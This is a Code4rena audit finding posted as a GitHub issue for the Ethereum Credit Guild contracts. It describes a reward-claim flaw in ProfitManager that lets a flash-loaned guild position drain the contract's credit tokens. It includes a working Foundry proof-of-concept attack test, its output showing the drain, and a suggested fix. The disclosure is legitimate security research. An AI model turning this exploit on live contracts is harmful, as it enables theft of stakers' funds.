code-423n4 / 2023-12-ethereumcreditguild-findings

17 stars 11 forks source link

Anyone can steal all the balance of credit tokens from the `profitManager` #1016

Closed c4-bot-10 closed 9 months ago

c4-bot-10 commented 9 months ago

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L424-L426 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20Gauges.sol#L219-L226

Vulnerability details

Impact

Anyone can steal all the balance of credit tokens from the profitManager. They can steal all the stake and all the unclaimed rewards atomically with 0 risk if the guild tokens become transferrable. This causes a total loss of funds for all stakers.

Proof of Concept

There is an option for the guild tokens to become transferrable if the governance decides so. Since it is an option I think it is most likely to happen in the future.

function enableTransfer() external onlyCoreRole(CoreRoles.GOVERNOR) {
    transferable = true;
    emit TransfersEnabled(block.number, block.timestamp);
}

Since guild tokens are now transferrable it is possible to get a large amount of tokens for a single tx. (eg. flashloan, flash swap etc.).

Let's look at the following scenario

SurplusGuildMinter.sol

function stake(address term, uint256 amount) external whenNotPaused {
    ...
    // pull CREDIT from user & transfer it to surplus buffer
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    CreditToken(credit).approve(address(profitManager), amount);
    ProfitManager(profitManager).donateToTermSurplusBuffer(term, amount);
    ...
}

ProfitManager.sol

function donateToTermSurplusBuffer(address term, uint256 amount) external {
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    uint256 newSurplusBuffer = termSurplusBuffer[term] + amount;
    termSurplusBuffer[term] = newSurplusBuffer;
    emit TermSurplusBufferUpdate(block.timestamp, term, newSurplusBuffer);
}
function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );
    if (_userGaugeWeight == 0) {
        return 0;
    }
   ...
}

Coded POC

Add this test to SurplusGuildMinter.t.sol file and add import import "@forge-std/console.sol";

Run with forge test --match-path ./test/unit/loan/SurplusGuildMinter.t.sol -vvv

function testStealFromProfitManager() public {
    address alice = address(0x616c696365);
    address bob = address(0xB0B);

    // Governance enables the transfer of guild tokens. This will most likely result in a creation
    // of liquidity pools on dexes such as uniswap etc.
    vm.prank(governor);
    guild.enableTransfer();

    // Governor sets the profit sharing config
    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0.5e18, // surplusBufferSplit - remains on profitManager
        0, // creditSplit
        0.5e18, // guildSplit - remains on profitManager
        0, // otherSplit
        address(0) // otherRecipient
    );

    // Bob stakes 100 CREDIT tokens
    credit.mint(address(bob), 100e18);
    vm.startPrank(bob);
    credit.approve(address(sgm), 100e18);
    sgm.stake(term, 100e18);
    vm.stopPrank();

    // This would happen on repaying a loan with interest... just shorthand to notify the profitManager for profits
    // so we don't to complicate the example with opening and closing loans ...
    credit.mint(address(profitManager), 35e18);
    profitManager.notifyPnL(term, 35e18);

    uint256 alice_balance_before = credit.balanceOf(alice);
    uint256 profit_manager_balance_before = credit.balanceOf(address(profitManager));

    // ------------- MALICIOUS ATOMIC TRANSACTION -------------
    // If a user can obtain a lot of guild tokens he could perform the following attack
    // atomically without any risk 

    // Flashloan guild tokens as they are now transferrable. User can borrow funds from the uniswap pool in a flash swap
    // As guild is the same for the whole protocol obtaining guild shouldn't be too hard
    uint256 flashloanAmount = 100000e18;
    guild.mint(address(alice), flashloanAmount);

    vm.startPrank(alice);
    uint256 gaugeProfitIndex = profitManager.gaugeProfitIndex(address(term));

    // Since userGaugeProfitIndex is 0 it will be set to 1e18 inside ProfitManager::claimGaugeRewards
    // creditEarned = userGaugeWeight * deltaIndex
    // deltaIndex = gaugeProfitIndex - userGaugeProfitIndex
    // => userGaugeWeight = creditEarned / deltaIndex
    uint256 deltaIndex = gaugeProfitIndex - 1e18;
    uint256 guild_to_provide = (profit_manager_balance_before * 1e18) / deltaIndex;

    // Bypass the SGM and incrementGauge directly
    guild.incrementGauge(address(term), guild_to_provide);

    // userGaugeProfitIndex still at 0 as it does not update for the first time and is not called through the SGM
    uint256 userGaugeProfitIndex = profitManager.userGaugeProfitIndex(address(alice), address(term)); 
    assertEq(userGaugeProfitIndex, 0);

    // User now has weight in the gauge and can claim rewards but his userGaugeProfitIndex is still 0
    profitManager.claimGaugeRewards(address(alice), address(term));
    guild.decrementGauge(address(term), guild_to_provide);

    // Repay the flashloan - if there is any fee to repay it can be obtained from the profits made
    guild.burn(flashloanAmount);
    vm.stopPrank();
    // ------------- END MALICIOUS ATOMIC TRANSACTION -------------

    uint256 alice_balance_after = credit.balanceOf(alice);
    uint256 profit_manager_balance_after = credit.balanceOf(address(profitManager));

    console.log("Credit balance of profitManager before attack:", profit_manager_balance_before);
    console.log("Credit balance of profitManager after attack :", profit_manager_balance_after);
    console.log();
    console.log("Alice credit balance before attack           :", alice_balance_before);
    console.log("Alice credit balance after attack            :", alice_balance_after);
    console.log("--------------------------------------------------------------------");
    console.log("Alice profit                                 :", alice_balance_after - alice_balance_before);
}
[PASS] testStealFromProfitManager() (gas: 716352)
Logs:
  Credit balance of profitManager before attack: 135000000000000000000
  Credit balance of profitManager after attack : 1

  Alice credit balance before attack           : 0
  Alice credit balance after attack            : 134999999999999999999
  --------------------------------------------------------------------
  Alice profit                                 : 134999999999999999999

Tools Used

Manual review

Recommended Mitigation Steps

Claim the rewards and update the indexes even if the userGaugeWeight in a giver term is 0.

function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );
-   if (_userGaugeWeight == 0) {
-       return 0;
-   }
    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
    uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];

    if (_gaugeProfitIndex == 0) {
        _gaugeProfitIndex = 1e18;
    }
    if (_userGaugeProfitIndex == 0) {
        _userGaugeProfitIndex = 1e18;
    }

    uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
    if (deltaIndex != 0) {
        creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
        userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
    }
    if (creditEarned != 0) {
        emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
        CreditToken(credit).transfer(user, creditEarned);
    }
}

Assessed type

Invalid Validation

c4-pre-sort commented 9 months ago

0xSorryNotSorry marked the issue as sufficient quality report

c4-pre-sort commented 9 months ago

0xSorryNotSorry marked the issue as duplicate of #1211

c4-judge commented 8 months ago

Trumpero marked the issue as satisfactory